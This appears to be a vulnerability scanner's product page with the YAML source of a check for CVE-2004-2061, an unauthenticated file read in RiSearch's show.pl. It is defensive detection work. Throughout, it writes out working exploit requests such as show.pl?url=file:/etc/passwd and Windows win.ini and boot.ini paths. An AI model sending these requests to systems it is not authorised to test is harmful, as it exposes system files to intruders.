RiSearch — 1 vulnerability check
noctis ships 1 vulnerability check for RiSearch, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
RiSearch show.pl Arbitrary File Read
| CVE | CVE-2004-2061 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/risearch/CVE-2004-2061.yaml |
Tests the RiSearch and RiSearch Pro site search engine for the unauthenticated arbitrary file read in show.pl (RiSearch 1.0.01, RiSearch Pro 3.2.06 and earlier), whose url parameter accepts any URL scheme. The feed requests search/show.pl under the web root, /cgi-bin and /scripts with url set to file:/etc/passwd and, when no passwd content comes back, to the Windows files c:/windows/win.ini, c:/winnt/win.ini and c:/boot.ini. The content of the file in the reply confirms the file read. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.
How noctis detects it
- HTTP(S) request
GET {{dir}}/search/show.pl?url=file:/etc/passwd - Checks
passwd_r.bodyfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/search/show.pl?url=file:/c:/windows/win.ini - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{dir}}/search/show.pl?url=file:/c:/winnt/win.ini - Checks
winnt_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{dir}}/search/show.pl?url=file:/c:/boot.ini - Checks
bootini_r.bodyfor(?i)\[boot loader\] - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/search/show.pl?url={{ctrl_url}} - Checks
ctrl_r.bodyfor(?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support… - Checks
lin_prooffor^(?:root|<redacted>):<redacted>:0:[0-9]+:→ finding QoD 75: RiSearch show.pl Arbitrary File Read (CVE-2004-2061) - Checks
win_filefor^(windows/win\.ini|winnt/win\.ini|boot\.ini)$→ finding QoD 75: RiSearch show.pl Arbitrary File Read (CVE-2004-2061)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2004-2061
- https://www.exploit-db.com/exploits/24327
- https://diswww.mit.edu/menelaus/bt/35869
Feed source — tests/vulnerabilities/risearch/CVE-2004-2061.yaml
# RiSearch / RiSearch Pro show.pl arbitrary file read — CVE-2004-2061
#
# RiSearch 1.0.01 and RiSearch Pro 3.2.06 (Perl CGI site search engine)
# ship show.pl, which fetches the page named by its "url"
# parameter and prints it with the search words highlighted. The script does
# not check the URL scheme or host, so a file: URL makes it read and print any
# local file the web server user can read (and http:/ftp: URLs make it an open
# proxy). Advisory request: /cgi-bin/search/show.pl?url=file:/etc/passwd.
# RiSearch released an update on 2004-07-08 that restricts the URL to the
# indexed site.
#
# Detection (benign, read-only): GET {{dir}}/search/show.pl?url=file:/etc/passwd
# (the source NASL's request) under the web root, /cgi-bin and /scripts, and
# match the CONTENT of /etc/passwd. QoD 75 (response analysis). The fetch was
# checked with real libwww-perl (LWP::Simple::get on file: URLs returns the
# raw file, an HTML listing for a directory and undef for an absent file).
#
# Improvements over the source NASL:
# - Windows installs (the advisory's test system was Windows 2000) are
# covered: file:/c:/windows/win.ini, file:/c:/winnt/win.ini, then
# file:/c:/boot.ini when no passwd content came back.
# - A control request (same parameter, file: URL of an absent random
# directory ending with the file that hit) must come back WITHOUT any file
# signature, and not as a redirect or an access block; a blanket responder or a honeypot
# keying a fake file on the path ending is not reported (fail-closed: no
# control reply → no finding).
# - The NASL needs show.pl to answer 200 to a bare request first; the feed
# sends the file: URL directly (a bare show.pl may answer an error).
# - The account name (unless "root"), password field and gecos of the uid-0
# line are redacted before they reach the finding.
#
# CVSS: CVE-2004-2061 v3.1 9.8 (NVD).
#
# Ported from OpenVAS/Greenbone NVT pre2008/risearch_arbitrary_file_access.nasl
# (OID 1.3.6.1.4.1.25623.1.0.14222, GPL-2.0-only).
uid: 955c4004-829c-458e-bbc6-458a06e44c4e
name: "RiSearch show.pl Arbitrary File Read (CVE-2004-2061)"
description: |
Tests the RiSearch and RiSearch Pro site search engine for the
unauthenticated arbitrary file read in show.pl (RiSearch 1.0.01, RiSearch
Pro 3.2.06 and earlier), whose url parameter accepts any URL scheme. The feed
requests search/show.pl under the web root, /cgi-bin and /scripts with url
set to file:/etc/passwd and, when no passwd content comes back, to the
Windows files c:/windows/win.ini, c:/winnt/win.ini and c:/boot.ini. The
content of the file in the reply confirms the file read. A control request
for an absent random file through the same parameter must not return any of
these files, so a server that serves the same content on every request is
not reported. Only world-readable system files are read. The account name
(unless root), password field and gecos of the uid-0 line are redacted from
the evidence.
cves: [CVE-2004-2061]
cvss: 9.8
severity: critical
category: file-read
confidence_base: 0.30
tags: [risearch, perl, cgi, search, file-read, lfi, ssrf, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2004-2061"
- "https://www.exploit-db.com/exploits/24327"
- "https://diswww.mit.edu/menelaus/bt/35869"
# OpenVAS/Greenbone NASL pre2008/risearch_arbitrary_file_access.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per install location.
# Each pass resets the values it reads, so nothing is left over.
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/cgi-bin", "/scripts"]
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-winnt-r
action: set_var
var_name: winnt_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-url
action: set_var
var_name: ctrl_url
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Linux: /etc/passwd ───────────────────────────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/search/show.pl?url=file:/etc/passwd"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: passwd_r
# No on_match: the raw body must not become evidence.
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 2 {
let name = passwd_m.captures[0];
name.trim();
if name == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
store_as: lin_proof
# ── Windows: c:/windows/win.ini, c:/winnt/win.ini, then c:/boot.ini — only
# when the script answered (not 404: on Windows the /etc/passwd fetch is an
# absent file, which a show.pl that dies on a failed fetch answers with 500)
# and the Linux read gave nothing ──────────────────────────────────────────
- id: read-winini
action: http_request
method: GET
path: "{{dir}}/search/show.pl?url=file:/c:/windows/win.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && passwd_r.status != 0 && passwd_r.status != 404'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lin_proof == "" && passwd_r.status != 0 && passwd_r.status != 404'
on_match:
set_vars:
win_file: "windows/win.ini"
- id: read-winnt
action: http_request
method: GET
path: "{{dir}}/search/show.pl?url=file:/c:/winnt/win.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0 && passwd_r.status != 404'
store_as: winnt_r
- id: winnt-content
action: match
source: winnt_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0 && passwd_r.status != 404'
on_match:
set_vars:
win_file: "winnt/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "{{dir}}/search/show.pl?url=file:/c:/boot.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0 && passwd_r.status != 404'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0 && passwd_r.status != 404'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: same parameter, absent random file — must NOT carry a file ──
# The file: URL points into a random missing directory but still ENDS with
# the file that hit, so a honeypot that keys a fake file on that path
# ending answers it too.
- id: control-url
action: script
code: |
if lin_proof != "" {
"file:/noctis-absent-" + oob_token + "/etc/passwd"
} else {
"file:/c:/noctis-absent-" + oob_token + "/" + win_file
}
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_url
- id: control
action: http_request
method: GET
path: "{{dir}}/search/show.pl?url={{ctrl_url}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lin_proof != "" || win_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered and stayed clean). The control's status may
# differ from the hit's (a show.pl that dies on a failed fetch answers 500),
# but a redirect or an access block (401/403/429) is not a clean answer. ──
- id: report-passwd
action: match
source: lin_proof
pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
condition: "ctrl_r.status != 0 && ctrl_r.status != 401 && ctrl_r.status != 403 && ctrl_r.status != 429 && (ctrl_r.status < 300 || ctrl_r.status >= 400) && ctrl_hit == false"
on_match:
finding:
title: "RiSearch show.pl Arbitrary File Read (CVE-2004-2061)"
description: "An unauthenticated request to search/show.pl with the url parameter set to file:/etc/passwd returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, and http: or ftp: URLs make the script fetch internal hosts on the attacker's behalf (open proxy)."
remediation: "Upgrade RiSearch / RiSearch Pro to a release after 1.0.01 / 3.2.06 that only shows pages of the indexed site, or deny web access to show.pl."
confidence_delta: 0.55
qod: 75
evidence: "GET {{dir}}/search/show.pl?url=file:/etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^(windows/win\\.ini|winnt/win\\.ini|boot\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_r.status != 401 && ctrl_r.status != 403 && ctrl_r.status != 429 && (ctrl_r.status < 300 || ctrl_r.status >= 400) && ctrl_hit == false"
on_match:
finding:
title: "RiSearch show.pl Arbitrary File Read (CVE-2004-2061)"
description: "An unauthenticated request to search/show.pl with the url parameter set to a file: URL of a Windows system file returned that file's content, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, and http: or ftp: URLs make the script fetch internal hosts on the attacker's behalf (open proxy)."
remediation: "Upgrade RiSearch / RiSearch Pro to a release after 1.0.01 / 3.2.06 that only shows pages of the indexed site, or deny web access to show.pl."
confidence_delta: 0.55
qod: 75
evidence: "GET {{dir}}/search/show.pl?url=file:/c:/{{win_file}} returned the content of {{win_file}}; control for an absent file returned no file content"
stop: true